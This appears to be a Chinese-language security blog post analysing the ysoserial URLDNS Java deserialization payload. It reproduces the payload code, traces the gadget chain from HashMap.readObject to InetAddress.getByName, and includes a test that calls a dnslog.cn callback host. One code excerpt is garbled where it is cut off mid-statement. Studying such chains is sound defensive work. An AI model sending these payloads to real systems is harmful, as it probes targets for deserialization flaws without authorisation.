[JAVA安全]ysoserial_URLDNS分析

ysoserial的URLDNS

URLDNS Payload 不依赖任何的第三方库 , 通过HashMap类的反序列化可以触发DNS查询

先看代码：

public class URLDNS implements ObjectPayload {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

漏洞验证

参数设置：

运行主函数

验证成功

利用链分析

看到 URLDNS 类的 getObject ⽅法，ysoserial会调⽤这个⽅法获得Payload。这个⽅法返回的是⼀个对

象，这个对象就是最后将被序列化的对象，在这⾥是 HashMap 。

类方法声明了反序列化方法private void readObject(java.io.ObjectInputStream s)，这是我们的入口方法

java/util/HashMap.java

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()

细节 对序列化过程中DNS查询触发的处理

该链的入口为hash方法，我们发现在HashMap类中的put方法当中就调用了该方法。

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

也就是说当我们简单调用put方法就会触发URLDNS链，验证一下

import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws MalformedURLException {
        HashMap ht = new HashMap();
        String url = "http://clnlld.dnslog.cn/";
        URL u = new URL(url);
        ht.put(u,url);
    }
}

注意到Ysoserial里面的URLDNS多了一部分

 URLStreamHandler handler = new SilentURLStreamHandler();

根据调用链，最后会调用handler的getHostAddress方法。Ysoserial创建了一个URLStreamHandler的子类：SilentURLStreamHandler，该类重写了getHostAddress()方法，防止put的触发。

如何使得 key.hashCode == -1

• URL u = new URL(null, url, handler);

  将 URLStreamHandler 对象作为参数 handler 写入到 URL 实例对象中 , 使得反序列化时 handler.hashCode() 会调用 URLStreamHandler.hashCode , 进入 POP Chains .

• Reflections.setFieldValue(u, "hashCode", -1);

  当调用 HashMap.put() 方法后 , key 的 HashMap 值肯定会发生变化 , 而要想执行 POP Chains , 就必须使得 key.hashCode == -1 . 这里通过 Reflections.setFieldValue() 方法将 key.hashCode 强制转为 -1 .

文章参考：

https://blog.csdn.net/Xxy605/article/details/121288365

https://ego00.blog.csdn.net/article/details/119678492

https://y4tacker.blog.csdn.net/article/details/117235572

https://www.guildhab.top/2020/08/java-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e6-%e8%a7%a3%e5%af%86-ysoserial-urldns-pop-chain/